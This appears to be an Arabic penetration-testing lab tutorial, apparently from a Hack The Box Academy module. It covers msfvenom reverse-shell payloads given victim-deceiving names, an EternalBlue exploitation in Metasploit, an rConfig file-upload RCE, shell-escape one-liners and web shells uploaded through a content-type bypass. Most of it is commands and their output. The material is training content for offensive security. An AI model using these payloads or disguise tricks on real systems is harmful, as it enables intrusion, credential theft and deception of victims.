staged = stager صغير + stage كبير. stageless = ملف واحد. الـ stageless أسهل في التوصيل وأكبر في الحجم؛ الـ staged أخف في البداية بس محتاج اتصال مستقر.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f
elf > createbackup.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from
the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytesنفكك الأمر:
msfvenomالأداة اللي بتصنع الـ payload.
-p-p معناها إنك بتعمل payload.
linux/x64/shell_reverse_tcppayload لـ Linux 64-bit، stageless، بيفتح reverse shell على TCP.
LHOST=10.10.14.113 LPORT=443الـ IP والبورت اللي الـ payload هيتصل بيهم (جهازك).
-f elf-f بتحدد صيغة الملف الناتج، وهنا .elf.
> createbackup.elfبيحفظ الملف باسم createbackup. الاسم مهم: خليه يبان طبيعي ومش مثير للشك.
بعد ما الـ payload اتعمل على جهازك، لازم توصله للهدف. الطرق:
وبعد التوصيل لازم تشغله. تخيل الهدف جهاز Ubuntu لمستخدم IT بيدير أجهزة الشبكة:
sudo nc -lvnp 443sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.138.85 60892
env
PWD=/home/htb-student/Downloads
cd ..ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videosنفس الفكرة بتنفع على Windows:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe
> BonusCompensationPlanpdf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytesنفس الشرح بالظبط، الفرق في الـ platform والصيغة (exe) والاسم اللي بيوهم الضحية (BonusCompensationPlanpdf.exe).
نفس مشكلة التوصيل. بعد ما الملف يوصل والـ AV متوقف، الضحية بتدوس دبل كليك وبيتنفذ:
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.144.5 49679
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\htb-student\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is DD25-26EB
Directory of C:\Users\htb-student\Downloads
09/23/2021 10:26 AM <DIR> .
09/23/2021 10:26 AM <DIR> ..
09/23/2021 10:26 AM 73,802 BonusCompensationPlanpdf.exe
1 File(s) 73,802 bytes
2 Dir(s) 9,997,516,800 bytes freeمايكروسوفت مسيطرة على سوق الأجهزة الشخصية والشركات، وده بيخليها هدف أساسي. في آخر 5 سنين بس اتسجل 3688 ثغرة في منتجات مايكروسوفت، ومعظمها بتتحول لـ exploit بسرعة.
| الثغرة | الوصف |
|---|---|
| MS08-067 | ثغرة SMB خطيرة اتسببت في تحديث إجباري لنسخ Windows كتير. سهلت الدخول جدا لدرجة إن دودة Conficker كانت بتستخدمها، وحتى Stuxnet استغلتها. |
| Eternal Blue (MS17-010) | exploit مسرب من Shadow Brokers (NSA)، استخدم في WannaCry وNotPetya. بيستغل خلل في SMBv1 لتنفيذ كود. أصاب أكثر من 200,000 جهاز في 2017 بس، ولسه طريقة شائعة للدخول. |
| PrintNightmare | RCE في Windows Print Spooler. ببيانات دخول صالحة أو شل بصلاحيات منخفضة، تقدر تضيف printer وdriver ينفذ كود وتاخد صلاحيات SYSTEM (فيه تحليل مشهور للثغرة عند 0xdf). |
| BlueKeep (CVE-2019-0708) | ثغرة في RDP بتسمح بتنفيذ كود عن بعد بسبب channel غلط، وأثرت على كل نسخ Windows من 2000 لحد Server 2008 R2. |
| Sigred (CVE-2020-1350) | خلل في قراءة DNS SIG records. أعقد من غيرها، لكن لو نجحت بتديك Domain Admin لأنك بتضرب DNS server اللي غالبا هو الـ DC. |
| SeriousSam (CVE-2021-36924) | خلل في صلاحيات مجلد C:\Windows\system32\config، فمستخدم غير مرتفع يقدر يوصل لـ SAM database. خطير خصوصا مع volume shadow copies لأن نفس الغلطة موجودة في النسخ الاحتياطية، فتسحب الـ SAM وتفضي credentials. |
| Zerologon (CVE-2020-1472) | خلل تشفير في Netlogon (MS-NRPC) في Active Directory. بيسمح بتسجيل دخول بـ NTLM وإرسال تغييرات حسابات. التنفيذ بسيط: حوالي 256 تخمين على باسورد حساب كمبيوتر، وده ثواني. |
القائمة دي للسياق، مش للتحفيظ. اللي يهمك: إزاي تحدد نسخة النظام، وإزاي تدور على الثغرة المناسبة ليها.
المفروض تكون خلصت مرحلة الـ enumeration وعارف الخدمات المفتوحة. السؤال: إزاي تعرف إن الجهاز Windows؟
ping، الـ TTL حوالي 128 = Windows (Linux غالبا 64).ping 192.168.86.39
PING 192.168.86.39 (192.168.86.39): 56 data bytes
64 bytes from 192.168.86.39: icmp_seq=0 ttl=128 time=102.920 ms
64 bytes from 192.168.86.39: icmp_seq=1 ttl=128 time=9.164 ms
64 bytes from 192.168.86.39: icmp_seq=2 ttl=128 time=14.223 ms
64 bytes from 192.168.86.39: icmp_seq=3 ttl=128 time=11.265 msوطريقة أدق: Nmap ببصمة الـ OS.
sudo nmap -v -O 192.168.86.39
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 17:40 EDT
Initiating ARP Ping Scan at 17:40
Scanning 192.168.86.39 [1 port]
Completed ARP Ping Scan at 17:40, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:40
Completed Parallel DNS resolution of 1 host. at 17:40, 0.02s elapsed
Initiating SYN Stealth Scan at 17:40
Scanning desktop-jba7h4t.lan (192.168.86.39) [1000 ports]
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Completed SYN Stealth Scan at 17:40, 1.54s elapsed (1000 total ports)
Initiating OS detection (try #1) against desktop-jba7h4t.lan
(192.168.86.39)
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.010s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)
Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hopNmap بيخمن النسخة من مؤشرات كتير في الـ TCP/IP stack. لو النتائج ضعيفة، جرب تاني بـ -A و-Pn (بس خد بالك إن -A أعلى صوتا وأسهل في الاكتشاف).
sudo nmap -v 192.168.86.39 --script banner.nse
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 18:01 EDT
NSE: Loaded 1 scripts for scanning.
<snip>
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Completed SYN Stealth Scan at 18:01, 1.46s elapsed (1000 total ports)
NSE: Script scanning 192.168.86.39.
Initiating NSE at 18:01
Completed NSE at 18:01, 20.11s elapsed
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.012s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, Se
|_rverDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supported/t
912/tcp open apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:SOAP, MKSDisplayProtocol:VNC , ,
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)أشكال الـ payloads على Windows:
| المصدر | الوصف |
|---|---|
| MSFVenom & Metasploit-Framework | أداة متعددة الاستخدامات: enumeration، توليد payloads، exploits جاهزة ومخصصة، وpost-exploitation. زي السكين السويسري. |
| Payloads All The Things | مصدر كبير فيه cheat sheets لتوليد الـ payloads والمنهجية العامة. |
| Mythic C2 Framework | بديل لـ Metasploit كـ C2 framework وتوليد payloads مختلفة. |
| Nishang | مجموعة Offensive PowerShell implants وسكربتات. |
| Darkarmour | أداة لتوليد واستخدام binaries مشفرة (obfuscated) لـ Windows. |
أما التوصيل والتنفيذ:
nmap -v -A 10.129.201.97
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 18:13 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Discovered open port 135/tcp on 10.129.201.97
Discovered open port 80/tcp on 10.129.201.97
Discovered open port 445/tcp on 10.129.201.97
Discovered open port 139/tcp on 10.129.201.97
Completed Connect Scan at 18:13, 12.76s elapsed (1000 total ports)
Completed Service scan at 18:13, 6.62s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.201.97.Nmap scan report for 10.129.201.97
Host is up (0.13s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 10.129.201.97 - /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard
6.3)
| Computer name: SHELLS-WINBLUE
| NetBIOS computer name: SHELLS-WINBLUE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-09-27T15:13:28-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-27T22:13:30
|_ start_date: 2021-09-23T15:29:29من الفحص: IIS على بورت 80 (يعني Windows)، وSMB على 445، ونسخة النظام. النتيجة دي بتأكد إن الجهاز مصاب بـ MS17-010 لأن نسخته في النطاق المتأثر.
نفتح msfconsole ونستخدم module الفحص أولا (auxiliary) قبل الاستغلال:
msf6 auxiliary(scanner/smb/smb_ms17_010) > use
auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for
architecture on vulnerable hosts
CHECK_DOPU true no Check for
DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named
pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framewor yes List of named
pipes to check
k/data/wordlists/named_pipes.t
xt
RHOSTS yes The target
host(s), range CIDR identifier, or hosts f
ile with syntax
'file:<path>'
RPORT 445 yes The SMB service
port (TCP)
SMBDomain . no The Windows
domain to use for authentication
SMBPass no The password for
the specified username
SMBUser no The username to
authenticate as
THREADS 1 yes The number of
concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.129.201.97RHOSTS => 10.129.201.97
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.129.201.97:445 - Host is likely VULNERABLE to MS17-010! -
Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 10.129.201.97:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedالـ check بيقول إن الهدف مرجح يكون مصاب: Windows Server 2016 Standard 14393 x64.
msf6 > search eternal
Matching Modules
================
# Name Disclosure Date Rank
Check Description
- ---- --------------- ----
----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14
average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool
Corruption
1 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14
average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool
Corruption for Win8+
2 exploit/windows/smb/ms17_010_psexec 2017-03-14
normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Code Execution
3 auxiliary/admin/smb/ms17_010_command 2017-03-14
normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Command Execution
4 auxiliary/scanner/smb/smb_ms17_010
normal No MS17-010 SMB RCE Detection
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
great Yes SMB DOUBLEPULSAR Remote Code Executionmsf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required
Description
---- --------------- -------- ----------
-
DBGTRACE false yes Show extra
debug trace info
LEAKATTEMPTS 99 yes How many
times to try to leak transaction
NAMEDPIPE no A named
pipe that can be connected to (leave bl
ank for
auto)
NAMED_PIPES /usr/share/metasploit-frame yes List of
named pipes to check
work/data/wordlists/named_p
ipes.txt
RHOSTS yes The target
host(s), range CIDR identifier, or h
osts file
with syntax 'file:<path>'
RPORT 445 yes The Target
port (TCP)
SERVICE_DESCRIPTION no Service
description to to be used on target for
pretty
listing
SERVICE_DISPLAY_NAME no The
service display name
SERVICE_NAME no The
service name
SHARE ADMIN$ yes The share
to connect to, can be an admin share
(ADMIN$,C$,...) or a normal read/write folder s
hare
SMBDomain . no The
Windows domain to use for authentication
SMBPass no The
password for the specified username
SMBUser no The
username to authenticate asPayload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 192.168.86.48 yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen portmsf6 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required
Description
---- --------------- -------- ----------
-
DBGTRACE false yes Show extra
debug trace info
LEAKATTEMPTS 99 yes How many
times to try to leak transaction
NAMEDPIPE no A named
pipe that can be connected to (leave bl
ank for
auto)
NAMED_PIPES /usr/share/metasploit-frame yes List of
named pipes to check
work/data/wordlists/named_p
ipes.txt
RHOSTS 10.129.201.97 yes The target
host(s), range CIDR identifier, or h
osts file
with syntax 'file:<path>'
RPORT 445 yes The Target
port (TCP)
SERVICE_DESCRIPTION no Service
description to to be used on target for
prettylisting
SERVICE_DISPLAY_NAME no The
service display name
SERVICE_NAME no The
service name
SHARE ADMIN$ yes The share
to connect to, can be an admin share
(ADMIN$,C$,...) or a normal read/write folder s
hare
SMBDomain . no The
Windows domain to use for authentication
SMBPass no The
password for the specified username
SMBUser no The
username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 10.10.14.12 yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen portهنا استخدمنا windows/meterpreter/reverse_tcp كـ payload، وADMIN$ كـ share.
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] 10.129.201.97:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.201.97:445 - Built a write-what-where primitive...
[+] 10.129.201.97:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.201.97:445 - Selecting PowerShell target
[*] 10.129.201.97:445 - Executing the payload...
[+] 10.129.201.97:445 - Service start timed out, OK if running a command
or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.201.97[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.129.201.97:50215)
at 2021-09-27 18:58:00 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >وصلنا: NT AUTHORITY\SYSTEM، يعني أعلى صلاحية على الجهاز.
meterpreter > shell
Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>الترتيب اللي بيشتغل: enumerate، افحص بـ auxiliary check، اختار exploit وpayload، اضبط الخيارات، تحقق بـ show options، نفذ، وادخل شل النظام. نفس الترتيب في أي مهمة.
على Windows عندك شلين جاهزين. السؤال:
Which one is the right one to use?الإجابة: اللي يديك القدرات اللي محتاجها. الـ CMD هو شل MS-DOS الأصلي، قديم ومحدود لكنه موجود في كل نسخة. وUser Account Control (UAC) ممكن يمنع تنفيذ أوامر وسكربتات.
| استخدم CMD لما | استخدم PowerShell لما |
|---|---|
| الجهاز قديم وممكن يكون من غير PowerShell | محتاج cmdlets أو سكربتات مخصصة |
| محتاج تفاعل بسيط مع الجهاز | محتاج تتعامل مع كائنات .NET بدل نص |
هتستخدم batch files أو net أو أوامر MS-DOS | الخفاء (stealth) أقل أهمية |
| execution policies ممكن تمنع السكربتات | محتاج تتعامل مع خدمات سحابية أو Aliases |
Windows Subsystem for Linux بيخليك تشغل بيئة Linux جوه Windows. وPowerShell Core نسخة مفتوحة المصدر شغالة على Linux وmacOS. المعنى الأمني: نفس أدوات الهجوم ممكن تلاقيها على أنظمة مختلفة، ومهارتك في شل واحد بتنقلك للتاني بسرعة.
حسب إحصاءات W3Techs، نسبة كبيرة من مواقع الويب (webservers) شغالة على أنظمة Unix، وده بيخلي Linux هدف أساسي في اختبارات الويب.
nmap -sC -sV 10.129.201.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 09:09 EDT
Nmap scan report for 10.129.201.101
Host is up (0.11s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2d:b2:23:75:87:57:b9:d2:dc:88:b9:f4:c1:9e:36:2a (RSA)
| 256 c4:88:20:b0:22:2b:66:d0:8e:9d:2f:e5:dd:32:71:b1 (ECDSA)
|_ 256 e3:2a:ec:f0:e4:12:fc:da:cf:76:d5:43:17:30:23:27 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips
PHP/7.2.34)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
|_http-title: Did not follow redirect to https://10.129.201.101/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips
PHP/7.2.34)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2021-09-24T19:29:26
|_Not valid after: 2022-09-24T19:29:26
|_ssl-date: TLS randomness does not represent time
3306/tcp open mysql MySQL (unauthorized)What information could we gather from the output?من الـ output: بورت 80 (HTTP)، 22 (SSH)، 3306 (MySQL)، 21 (FTP). الشكل ده يوحي بـ web server عليه تطبيق PHP وMySQL، والنظام غالبا CentOS.
بفتح الموقع نلاقي أداة إدارة إعدادات الشبكة rConfig:
rConfig أداة بتخلي الـ admins ياخدوا نسخ احتياطية من إعدادات أجهزة الشبكة (switches، routers). الجهاز ده لو اتخترق، المهاجم يقدر يقرأ إعدادات كل الشبكة.
في آخر صفحة تسجيل الدخول فيه رقم إصدار الأداة. بندور عليه في مصادر الثغرات وPoCs:
وكمان نجرب البحث داخل Metasploit:
msf6 > search rconfig
Matching Modules
================
# Name Disclosure Date
Rank Check Description
- ---- --------------- --
-- ----- -----------
0 exploit/multi/http/solr_velocity_rce 2019-10-29
excellent Yes Apache Solr Remote Code Execution via Velocity Template
1 auxiliary/gather/nuuo_cms_file_download 2018-10-11
normal No Nuuo Central Management Server Authenticated Arbitrary
File Download
2 exploit/linux/http/rconfig_ajaxarchivefiles_rce 2020-03-11
good Yes Rconfig 3.x Chained Remote Code Execution
3 exploit/unix/webapp/rconfig_install_cmd_exec 2019-10-28
excellent Yes rConfig install Command Executionلو الـ module مش موجود في نسختك، بتقدر تنزله من GitHub كملف rconfig_vendors_auth_file_upload_rce.rb وتحطه في مجلد الـ exploits، وبعدها تشغله من msfconsole. لازم تعرف مسار المجلدات:
githublocate exploits/usr/share/metasploit-framework/modules/exploitsبتحط الملف في /usr/share/metasploit-framework/modules/exploits/linux/http زي باقي الموديولات، وبتعمل reload للـ msfconsole.
msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rceبعد ما تختار الـ module، اطبع options واضبط الإعدادات المطلوبة (RHOSTS، LHOST، بيانات الدخول).
msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > exploit
[*] Started reverse TCP handler on 10.10.14.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 3.9.6 of rConfig found !
[+] The target appears to be vulnerable. Vulnerable version of rConfig
found !
[+] We successfully logged in !
[*] Uploading file 'olxapybdo.php' containing the payload...
[*] Triggering the payload ...
[*] Sending stage (39282 bytes) to 10.129.201.101
[+] Deleted olxapybdo.php
[*] Meterpreter session 1 opened (10.10.14.111:4444 ->
10.129.201.101:38860) at 2021-09-27 13:49:34 -0400
meterpreter > dir
Listing: /home/rconfig/www/images/vendor
========================================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 673 fil 2020-09-03 05:49:58 -0400 ajax-loader.gif
100644/rw-r--r-- 1027 fil 2020-09-03 05:49:58 -0400 cisco.jpg
100644/rw-r--r-- 1017 fil 2020-09-03 05:49:58 -0400 juniper.jpgخطوات الـ exploit بالترتيب:
meterpreter > shell
Process 3958 created.
Channel 0 created.
dir
ajax-loader.gif cisco.jpg juniper.jpg
ls
ajax-loader.gif
cisco.jpg
juniper.jpgلما بندخل شل النظام، بنلاقي مفيش prompt، ومش بنعرف مين المستخدم. وده طبيعي لأن الشل اللي اتفتح غير تفاعلي (non-TTY). إحنا شغالين كـ apache، فمحتاجين TTY حقيقي عشان الأوامر التفاعلية تظبط.
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.2$
sh-4.2$ whoami
whoami
apacheالأمر بيستورد موديول pty ويستخدم pty.spawn يفتح /bin/sh تفاعلي، وبعدها whoami بيرجع apache.
Now, let's test our knowledge with some challenge questions.من غير TTY: sudo -l وsu وأدوات فيها واجهة نصية مش هيشتغلوا صح. لو Python مش موجود، استخدم أي لغة تانية على النظام (الجزء الجاي).
ممكن توصل لنظام فيه شل محدود (restricted) أو مفيش فيه bash. القاعدة: لو شفت /bin/sh أو /bin/bash، فيه شل موجود، والهدف إنك تفتح واحد تفاعلي بأي لغة متاحة.
/bin/sh -i
sh: no job control in this shell
sh-4.2$perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";الأمر ده (وأمثاله تحت) بيتشغل من داخل سكربت، مش من سطر الأوامر مباشرة.
ruby: exec "/bin/sh"lua: os.execute('/bin/sh')AWK لغة معالجة نصوص موجودة في أغلب أنظمة Unix:
awk 'BEGIN {system("/bin/sh")}'find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;find بيدور على الملف المحدد وينفذ awk عليه، والـ awk بيفتح شل.
find . -exec /bin/sh \; -quitهنا -exec بينفذ /bin/sh على أي ملف، و-quit بيوقفه بعد أول نتيجة.
vim -c ':!/bin/sh'vim
:set shell=/bin/sh
:shellجوه vim: :set shell=/bin/sh بيحدد الشل، و:shell بيفتحه.
قبل ما تجرب أي طريقة، اتأكد إن الملف قابل للتنفيذ:
ls -la <path/to/fileorbinary>وشوف صلاحيات sudo:
sudo -l
Matching Defaults entries for apache on ILF-WebSrv:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin
User apache may run the following commands on ILF-WebSrv:
(ALL : ALL) NOPASSWD: ALLsudo -l محتاج شل تفاعلي مستقر عشان يشتغل صح.
مفيش لغة واحدة: bash، perl، ruby، lua، awk، find، vim كلهم بيفتحوا شل. دور على اللي موجود على النظام، واتأكد من صلاحيات التنفيذ.
في اختبارات الاختراق الخارجية، أغلب اللي بتشوفه قدامك هو تطبيقات ويب: مواقع، portals، APIs. والويب بقى المجال اللي بيقدم أكبر عدد من الثغرات، ومنها ثغرات رفع الملفات (file upload) والـ RFI/LFI (تضمين ملفات محلية أو بعيدة) اللي بتخليك تحط سكربتك على السيرفر أو تستدعيه وتنفذه.
الـ web shell شل بيشتغل من المتصفح: بترفع سكربت (PHP، ASPX، JSP) على السيرفر، وبتنفذ أوامر النظام من خلاله وترجع النتيجة في الصفحة. أهميته إنه بيديك وصول للـ OS من غير listener ولا اتصال داخل، لأن الترافيك كله HTTP عادي.
web shell = shell في صورة صفحة ويب. بيدخل من بورت 80/443، فبيعدي الـ firewalls، وبيتحفظ على السيرفر طول ما الملف موجود.
Laudanum مجموعة ملفات web shell جاهزة لكل اللغات، موجودة في Kali وPwnbox في /usr/share/laudanum.
في المجلد هتلاقي نسخ لكل لغة: aspx، asp، jsp، php وغيرها. القاعدة المهمة: عدل نسخة قبل ما ترفعها، وحدد الـ IP بتاعك في الملف عشان الشل يشتغل معاك.
cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspxافتح الملف وحدد الـ allowedIps في السطر 59 بالـ IP بتاعك، وبعدها ارفعه.
قبل التجربة، ضيف الـ domain في ملف /etc/hosts عندك ووجهه لـ IP الهدف (<target ip> status.inlanefreight.local) عشان تقدر تفتح الموقع بالاسم.
الهدف فيه وظيفة upload في آخر الصفحة. لازم تختار نوع الملف الصح (السهم الأحمر في الصورة) عشان الرفع ينجح.
بعد الرفع الناجح، بتحتاج تعرف مسار الملف (السهم الأصفر في الصورة) وتوصل له من المتصفح:
status.inlanefreight.local//files/demo.aspx
لاحظ الشرطتين المائلتين // بعد الدومين؛ التطبيق بيعرض المسار بصيغة Windows (\\files\demo.aspx) فبتتحول لـ URL.
كده عندك شل بيشتغل من المتصفح، بتكتب الأمر وتشوف الـ output في الصفحة.
قبل ما ندخل في ASPX، شوف الفيديو ده كمثال على الفكرة: الملف بيترفع عبر HTTP وبعدها بتوصل له من المتصفح.
How does aspx work?ASPX (Active Server Page Extended) امتداد ملفات بيتنفذ على السيرفر بـ ASP.NET، يعني الكود بيشتغل على السيرفر والنتيجة بترجع HTML للمتصفح. عشان كده أي ملف aspx ترفعه بيشتغل كود.
Antak web shell مكتوب بـ ASP.NET وجزء من Nishang. بيشتغل زي PowerShell console في المتصفح، فبتقدر تنفذ أوامر PowerShell على السيرفر.
ls /usr/share/nishang/Antak-WebShell
antak.aspx Readme.md[!bash!][/usr/share/nishang/Antak-WebShell]$ cp /usr/share/nishang/Antak-
WebShell/antak.aspx /home/administrator/Upload.aspxحدد username وpassword للدخول للـ web shell قبل الرفع.
لما تفتح الملف من المتصفح هيطلب منك بيانات الدخول اللي حطيتها:
بعد الدخول بتستخدم أوامر PowerShell للتنقل في النظام وتنفيذ اللي محتاجه:
PHP لغة سكربت مفتوحة المصدر شغالة على السيرفر، وأغلب تطبيقات الويب والـ CMS مبنية بيها (حوالي 78.6% من المواقع اللي بيستخدمها W3Techs بتعرف PHP). مثال عملي: صفحة تسجيل مستخدم فيها رفع صورة، ولو الرفع مش متأمن تقدر ترفع ملف PHP بدل الصورة.
فاكر سيرفر rConfig؟ ده تطبيق PHP، وثغرته كانت رفع ملف مصادق عليه (authenticated file upload).
بما إن PHP بتنفذ الكود على السيرفر، أي ملف PHP بترفعه بيشتغل. هنستخدم WhiteWinterWolf PHP Web Shell.
الرفع المباشر هيفشل لأن rConfig بيفلتر نوع الملف. الحل: Burp Suite ونغير الـ content-type. ظبط الـ proxy على 127.0.0.1:8080 في إعدادات الشبكة في المتصفح.
في الطلب غير الـ Content-Type من application/x-php لقيمة مقبولة زي image/gif أو image/jpeg، وخلي اسم الملف .php. اضغط Forward مرتين والملف هيترفع.
رسالة Added new vendor NetVen to Database معناها الرفع نجح. المسار:
/images/vendor/connect.phpالشل اللي بالطريقة دي غير تفاعلي (non-interactive): كل أمر طلب HTTP لوحده، فمفيش TTY ولا أوامر تفاعلية.
whoami && hostname) وده بيبطأ الشغل.فريق CAT5 عمل foothold في شبكة Inlanefreight. مطلوب منك تستخدم الـ foothold وتنفذ المطلوب منه. الأهداف:
htb-studentHTB_@cademy_stdnt! (تشتغل على RDP)xfreerdp /v:<target IP> /u:htb-student /p:HTB_@cademy_stdnt!الأجهزة 1-3 هي أهداف التحدي، وكلها على شبكة 172.16.0.0/23، فخد بالك من الـ routing. من بيانات الـ lab: تطبيق على بورت 8080 ببيانات admin:admin123، وموقع blog.inlanefreight.local.
سيب دقيقة أو دقيقتين للأجهزة في بيئة التقييم لحد ما تقوم.
لو عايز تكتشف شلات وpayloads شغالة، محتاج تعرف سلوك المهاجم. الإطار المرجعي هو MITRE ATT&CK: قاعدة معرفة متاحة للجميع لتكتيكات وتقنيات الخصوم، مبنية على ملاحظات من الواقع.
globally-accessible knowledge base of adversary tactics and techniques basedمن الإطار، أهم تلات تكتيكات في سياق الموديول:
| التكتيك / التقنية | الوصف |
|---|---|
